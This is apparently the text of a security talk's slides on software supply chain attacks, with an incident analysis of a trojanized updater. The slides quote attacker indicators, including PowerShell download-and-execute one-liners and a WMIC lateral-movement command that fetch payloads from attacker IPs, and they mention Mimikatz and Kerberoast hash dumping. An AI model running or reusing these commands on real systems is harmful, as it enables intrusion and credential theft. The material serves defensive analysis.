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PREVIEW

• Few months back, the Windows Defender Advanced Threat Protection (ATP) research team 

noticed security alerts that captured an interesting attack pattern. 

• These alerts uncovered a well-planned cyberattack that targeted several high-profile technology 

and financial organizations with possible intentions of a cyberespionage campaign.

• An unknown attacker was taking advantage of a silent attack vector: the compromised update 

mechanism or software supply chain for a third-party editing tool. 
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➢ Variants of Software Supply Chain Attacks

➢ Trends and reason for a rise in these attack vectors

➢ How this vector is quite effective for larger enterprise/business

➢ Go through some recent case studies of major incidents

➢ Overview into pen-testing mechanisms used to compromise

updaters

➢ Best practices for developers to create and maintain secure

software updaters

WHAT WOULD BE COVERED
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POPULAR ENTRY VECTOR FOR ATTACKERS

Toward mitigating arbitrary native code execution 

in Windows 10

Courtesy: Microsoft

Courtesy: Report by Natalie Silvanovich

@natashenka

Project Zero, Google
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CHANGE IN ATTACK VECTORS IN DUE COURSE..
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HIT WHERE IT HURTS THE MOST
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VARIANTS OF SUPPLY CHAIN ATTACKS
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RECENT NOTABLE SUPPLY CHAIN ATTACKS

C
cl

e
a
n

e
r • Freeware backdoored to 

compromise IT industries

• Executed in memory and 

no traces on disk

• If primary C2 is not 

reachable it turns to a 

DGA algorithm

• Connection to the C2 

downloads 2nd stage of 

payload N
e
tS

a
ra

n
g

X
sh

e
ll • Build infrastructure 

compromised with 

backdoors

• Trojanized ‘nssock2.dll’ 

were shipped with the 

product updates

• Backdoored .dll executes 

as in-memory shellcode

• DNS C2 generated using 

DGA algorithm

M
e
.D

o
c • A popular local 

taxing/accounting 

software used a 

distribution vector for 

Petya

• Threat actors created a 

backdoor inside M.E.Doc

disguised as a software 

update

Courtesy: Cisco Talos Courtesy: Kaspersky Courtesy: Kaspersky, Cisco Talos



WHERE IT ALL STARTED

• SOC identified suspicious PowerShell activities on partner machines

• Activities initiated by licensed 3rd party editing application during an 

upgrade attempt

• Malicious upgrade file .exe connected to 2 C2 servers and 

downloaded a .PNG

• Passes over the PNG as a parameter to a function (PNG is actually 

an encoded series of shellcode being injected in the memory via 

PowerShell)



The version these machines are trying 
to fetch an update

The cmdlets creates few processes and seemed 
to drop files related to Cobalt strike

Machine also seen to be 
double encoding the original 
encoded cmdlet and trying 
the intended activity



ATTACK INDICATORS OBSERVED SO FAR..

The following network addresses were actively used by the attacker to perform initial network scanning and 

command-and-control (C&C) communication:

•hXXp://5.39.218.205/logo.png (used for initial infection and C&C communication)

•hXXp://176.53.118.131/logo.png (seen to be possibly trying for lateral movement and C&C communication)
[wmic  /node:[SOME_MACHINE] process call create cmd /c powershell.exe -nop -w hidden -c $q=new-object 

net.webclient;$q.proxy=[Net.WebRequest]::GetSystemWebProxy();$q.Proxy.Credentials=[Net.CredentialCache]::D

efaultCredentials;IEX $q.downloadstring('hXXp://176.53.118.131/logo.png’);]

The same IP addresses were used with different URLs to download Meterpreter based payloads. The logo.png 

files in the initial URLs contained the PowerShell scripts in base64-gzip encoding.



Maybe MITM by 

modifying the update 

when it arrives in the box

Possibly an attacker 

sniffed an unsecure 

channel of update 

delivery

Maybe adversary already 

on the machine
Possibly a Compromised update 

infrastructure of the 3rd party 

application



why only a handful of 

machines were showing 

suspicious activities?

The 3rd party tool was 

seen across multiple 

machines with no signs 

of compromise

The update requested DOES NOT EXIST, latest official version of the 

tool is 2x.xx.xx.56 (and the update requested here is 24.00.0.68)
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CRIME SCENE EVIDENCE COLLECTION..

• Capturing Win pcaps

• Collecting other forensics data 

from disk of infected machines

• Contacting the 3rd party 

organization for details 

• Convincing 3rd party organization 

to provide us forensic data of the 

impacted servers
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FOLLOWING THE BREADCRUMBS#1

• This updater file was retrieved right from the

source hosted directly on the compromised 3rd

party’s .com website

• Following is the snippet of the Code sample of

the Trojanized updater .exe.

• The bad Powershell script which compromised the

machines were actually obfuscated in reverse

(much like a mirror image).

powershell.exe -nop -w hidden -c $J=new-object 

net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();

$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX

$J.downloadstring('hXXp://5.39.218.205/logo.png');
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FOLLOWING THE BREADCRUMBS#2
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SHELLCODE MIGRATION

<trojan>.exe rundll32.exe spoolsv.exe
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NOTABLE ATTACK TTP

• Non-persistent, self-deleting initial binary

• Memory-only payloads run by PowerShell and Meterpreter running in rundll32

• Recon activities and machine enumeration, using standard commands, such as NET, IPCONFIG, NETSTAT, 

WHOAMI etc

• Migration into stable processes, such as the Windows Printer Spooler or spoolsv.exe

• Use of common tools like Mimikatz and Kerberoast to dump hashes

• Lateral movement using Windows Management Instrumentation (WMI), specifically the WMIC /node

command

[wmic  /node:[SOME_MACHINE] process call create cmd /c powershell.exe -nop -w hidden -c $q=new-object 

net.webclient;$q.proxy=[Net.WebRequest]::GetSystemWebProxy();$q.Proxy.Credentials=[Net.CredentialCache]::D

efaultCredentials;IEX $q.downloadstring('hXXp://176.53.118.131/logo.png’);]

• Persistence through scheduled tasks created using SCHTASKS
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INITIATIVE TO REDUCE THE ATTACK SURFACE



Thank you


